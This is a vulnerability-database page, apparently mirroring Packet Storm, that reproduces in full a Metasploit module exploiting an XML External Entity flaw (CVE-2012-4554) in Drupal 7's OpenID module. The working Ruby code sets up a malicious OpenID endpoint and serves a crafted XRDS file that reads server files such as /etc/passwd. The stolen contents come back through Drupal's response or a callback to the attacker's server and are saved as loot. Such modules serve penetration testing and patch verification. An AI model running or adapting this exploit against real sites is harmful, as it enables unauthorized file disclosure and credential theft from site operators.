Lucene search
K

Drupal OpenID External Entity Injection

🗓️ 31 Aug 2024 00:00:00Reported by juan vazquez, Reginaldo Silva, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 210 Views

Drupal OpenID External Entity Injection creates XML External Entity vulnerability in OpenID module. Malicious OpenID endpoint can send malformed XRDS file to parse and execute code on Drupal 7.15 & 7.2

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2012-4554
29 May 201815:50
circl
Check Point Advisories
Dries Buytaert Drupal Core OpenID Module Information Disclosure (CVE-2012-4554)
3 Dec 201200:00
checkpoint_advisories
CVE
CVE-2012-4554
11 Nov 201211:00
cve
Cvelist
CVE-2012-4554
11 Nov 201211:00
cvelist
Debian CVE
CVE-2012-4554
11 Nov 201211:00
debiancve
Drupal
SA-CORE-2012-003 - Drupal core - Arbitrary PHP code execution and Information disclosure
17 Oct 201200:00
drupal
Tenable Nessus
Drupal 7.x < 7.16 Multiple Vulnerabilities
24 Oct 201200:00
nessus
Metasploit
Drupal OpenID External Entity Injection
24 Jan 201400:04
metasploit
NVD
CVE-2012-4554
11 Nov 201213:00
nvd
OpenVAS
FreeBSD Ports: drupal7
26 Nov 201200:00
openvas
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Drupal OpenID External Entity Injection',  
'Description' => %q{  
This module abuses an XML External Entity Injection  
vulnerability on the OpenID module from Drupal. The vulnerability exists  
in the parsing of a malformed XRDS file coming from a malicious OpenID  
endpoint. This module has been tested successfully on Drupal 7.15 and  
7.2 with the OpenID module enabled.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Reginaldo Silva', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-4554' ],  
[ 'OSVDB', '86429' ],  
[ 'BID', '56103' ],  
[ 'URL', 'https://drupal.org/node/1815912' ],  
[ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],  
[ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]  
],  
'DisclosureDate' => '2012-10-17'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),  
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])  
])  
  
end  
  
def xrds_file  
element_entity = <<-EOF  
<!ELEMENT URI ANY>  
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">  
EOF  
  
xml = Document.new  
  
xml.add(DocType.new('foo', "[ #{element_entity} ]"))  
  
xml.add_element(  
"xrds:XRDS",  
{  
'xmlns:xrds' => "xri://$xrds",  
'xmlns' => "xri://$xrd*($v*2.0)",  
'xmlns:openid' => "http://openid.net/xmlns/1.0",  
})  
  
xrd = xml.root.add_element("XRD")  
  
xrd.add_element(  
"Status",  
{  
"cid" => "verified"  
}  
)  
provider = xrd.add_element("ProviderID")  
provider.text = "xri://@"  
  
canonical = xrd.add_element("CanonicalID")  
canonical.text = "http://example.com/user"  
  
service = xrd.add_element("Service")  
  
type_one = service.add_element("Type")  
type_one.text = "http://specs.openid.net/auth/2.0/signon"  
  
type_two = service.add_element("Type")  
type_two.text = "http://openid.net/srv/ax/1.0"  
  
uri = service.add_element("URI")  
uri.text = "METASPLOIT"  
  
local_id = service.add_element("LocalID")  
local_id.text = "http://example.com/xrds"  
  
return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding  
end  
  
def check  
signature = Rex::Text.rand_text_alpha(5 + rand(5))  
res = send_openid_auth(signature)  
  
unless res  
vprint_status("Connection timed out")  
return Exploit::CheckCode::Unknown  
end  
  
if drupal_with_openid?(res, signature)  
return Exploit::CheckCode::Detected  
end  
  
if generated_with_drupal?(res)  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def run  
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))  
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))  
exploit  
end  
  
def primer  
res = send_openid_auth(get_uri)  
  
if res.nil?  
# nothing to do here...  
service.stop  
return  
end  
  
unless res.code == 500  
print_warning("Unexpected answer, trying to parse anyway...")  
end  
  
error_loot = parse_loot(res.body)  
  
# Check if file was retrieved on the drupal answer  
# Better results, because there isn't URL encoding,  
# plus probably allows to retrieve longer files.  
print_status("Searching loot on the Drupal answer...")  
unless loot?(error_loot)  
# Check if file was leaked to the fake OpenID endpoint  
# Contents are probably URL encoded, plus probably long  
# files aren't full, but something is something :-)  
print_status("Searching loot on HTTP query...")  
loot?(@http_loot)  
end  
  
# stop the service so the auxiliary module ends  
service.stop  
end  
  
  
def on_request_uri(cli, request)  
if request.uri =~ /#{@prefix}/  
vprint_status("Signature found, parsing file...")  
@http_loot = parse_loot(request.uri)  
return  
end  
  
print_status("Sending XRDS...")  
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })  
end  
  
def send_openid_auth(identifier)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, "/"),  
'method' => 'POST',  
'vars_get' => {  
"q" => "node",  
"destination" => "node"  
},  
'vars_post' => {  
"openid_identifier" => identifier,  
"name" => "",  
"pass" => "",  
"form_id" => "user_login_block",  
"op" => "Log in"  
}  
})  
  
return res  
end  
  
def store(data)  
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])  
print_good("File found and saved to path: #{path}")  
end  
  
def parse_loot(data)  
return nil if data.blank?  
  
# Full file found  
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m  
return $1  
end  
  
# Partial file found  
if data =~ /#{@prefix}\/(.*)/m  
return $1  
end  
  
return nil  
end  
  
def loot?(data)  
return false if data.blank?  
store(data)  
return true  
end  
  
def drupal_with_openid?(http_response, signature)  
return false if http_response.blank?  
return false unless http_response.code == 200  
return false unless http_response.body =~ /openid_identifier.*#{signature}/  
return true  
end  
  
def generated_with_drupal?(http_response)  
return false if http_response.blank?  
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/  
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/  
return false  
end  
  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25
EPSS0.55084
210